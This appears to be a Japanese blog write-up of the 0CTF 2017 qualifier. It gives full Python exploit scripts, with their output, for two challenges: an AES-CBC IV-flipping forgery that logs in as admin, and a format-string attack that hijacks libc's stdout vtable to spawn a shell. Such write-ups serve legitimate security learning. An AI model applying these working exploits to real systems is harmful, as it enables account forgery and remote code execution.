0CTF 2017 Quals 供養(Writeup)
0CTF 2017 Qualsに参加。237ptで119位。
Welcome (Misc 12)
IRCのチャンネルトピックにflagがある。
#0ctf2017: Welcome to 0ctf 2017! https://ctf.0ops.net (flag{Welcome_to_0CTF_2017})
integrity (Crypto 75)
AES-128-CBCで暗号化されたデータを細工する問題。 最初の1ブロックがちょうどMD5(128 bit)になっているため、IVを変えることでMD5の値を自由にコントロールすることができる。 1ブロック余分に作って得た暗号文から最後のブロックを削り、IV経由でMD5を調整する。
from minipwn import * import hashlib BS = 16 pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) expanded = 'admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0bX' s = socket.create_connection(('202.120.7.217', 8221)) print recvuntil(s, '[l]ogin\n') sendline(s, 'r') sendline(s, expanded) print recvuntil(s, 'secret:\n') secret_hex = recvline(s).rstrip() secret = secret_hex.decode('hex') iv, enc_md5, enc_msg1, enc_msg2 = secret[:16], secret[16:32], secret[32:48], secret[48:] h1 = hashlib.md5(expanded[:-1]).digest() h2 = hashlib.md5(pad(expanded)).digest() h_xor = xor(h1, h2) secret2 = xor(iv, h_xor) + enc_md5 + enc_msg1 secret2_hex = secret2.encode('hex') print recvuntil(s, '[l]ogin\n') sendline(s, 'l') sendline(s, secret2_hex) interact(s)
$ python test.py Welcome to 0CTF encryption service! Please [r]egister or [l]ogin Here is your secret: Please [r]egister or [l]ogin Welcome admin! flag{Easy_br0ken_scheme_cann0t_keep_y0ur_integrity} Please [r]egister or [l]ogin
EasiestPrintf (Pwnable 150)
任意のアドレスの値を読み出した後、Format string attackができる。 ただし、Full RELROなためGOT overwrite不可。
$ bash checksec.sh --file EasiestPrintf RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled No PIE No RPATH No RUNPATH EasiestPrintf
bssセグメントにstdoutポインタがあるので、これが指すアドレスを読み出した後、Format string attackで+0x94の位置にあるvtableポインタを0x41414141に書き換えると、次のような状態でSEGVする。
$ gdb ./EasiestPrintf core Reading symbols from ./EasiestPrintf...(no debugging symbols found)...done. [New LWP 5607] Core was generated by `./EasiestPrintf'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0xf76411bb in ?? () from /lib32/libc.so.6 (gdb) x/i $pc => 0xf76411bb: call DWORD PTR [ecx+0x1c] (gdb) i r ecx ecx 0x41414141 1094795585 (gdb) dps $esp ff9ea650 0xf77add60 <_IO_2_1_stdout_> ff9ea654 0xff9ea730 ' ' <repeats 200 times>... ff9ea658 0x142 ff9ea65c 0xb ff9ea660 0xff9ea7d0 ff9ea664 0xf76d1253 <write+35> ff9ea668 0x142 ff9ea66c 0xf76654c1 <_IO_file_write+97> ff9ea670 0x1 ff9ea674 0xff9ea7d0 ff9ea678 0xf7658580 <funlockfile> ff9ea67c 0xf77add60 <_IO_2_1_stdout_> ff9ea680 0x0 ff9ea684 0x0 ff9ea688 0xfbad8004 ff9ea68c 0xf77add60 <_IO_2_1_stdout_>
上の結果から、第一引数に0xf77add60が与えられた状態で、[ecx+0x1c]
が呼ばれることがわかる。
vtableポインタが最後に一度しか書き換えられないことに注意しつつ、適当なアドレスにsystem関数のアドレスや文字列sh
を書き込むことでシェルを起動できる。
from minipwn import * #s = connect_process(['./EasiestPrintf']) s = socket.create_connection(('202.120.7.210', 12321)) addr_stdout = 0x0804a044 print recvuntil(s, ':\n') sendline(s, str(addr_stdout)) data = recvline(s) libc_stdout = int(data, 16) print "[+] libc_stdout = %x" % libc_stdout libc_stdout_vtable = libc_stdout + 0x94 #libc_system = libc_stdout - 0x001b0d60 + 0x0003a940 libc_system = libc_stdout - 0x001a9ac0 + 0x0003e3e0 str_sh = u32('sh\x00\x00') x1 = libc_system x1_hi, x1_lo = x1 >> 16, x1 & 0xFFFF x2 = libc_stdout - 4 - 0x1c x2_hi, x2_lo = x2 >> 16, x2 & 0xFFFF print recvuntil(s, 'Good Bye\n') # libc_stdout = 'sh\x00\x00' # libc_stdout-4 = &system # libc_stdout_vtable+0x1c = &(libc_stdout-4) buf = p32(libc_stdout) + p32(libc_stdout-4) + p32(libc_stdout-2) + p32(libc_stdout_vtable) buf += '%' + str(str_sh-16) + 'c%7$n' buf += '%' + str(0x10000+x1_lo-str_sh) + 'c%8$hn' buf += '%' + str(0x10000+x1_hi-x1_lo) + 'c%9$hn' buf += '%' + str(0x10000+x2_lo-x1_hi) + 'c%10$hn' sendline(s, buf) interact(s)
$ python test.py Which address you wanna read: [+] libc_stdout = f7737ac0 Good Bye (snip) id uid=1001(EasiestPrintf) gid=1001(EasiestPrintf) groups=1001(EasiestPrintf) ls bin boot dev etc home initrd.img lib lib32 lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz ls -R home home: EasiestPrintf java home/EasiestPrintf: EasiestPrintf flag home/java: cat /home/EasiestPrintf/flag flag{Dr4m471c_pr1N7f_45_y0u_Kn0w}
所感
他に解きたかった問題は以下。
- simplesqlin (Web 33)
- oneTimePad (Crypto 114)
- Temmo’s Tiny Shop (Web 122)
- char (Pwnable 130)
- KoG (Web 146)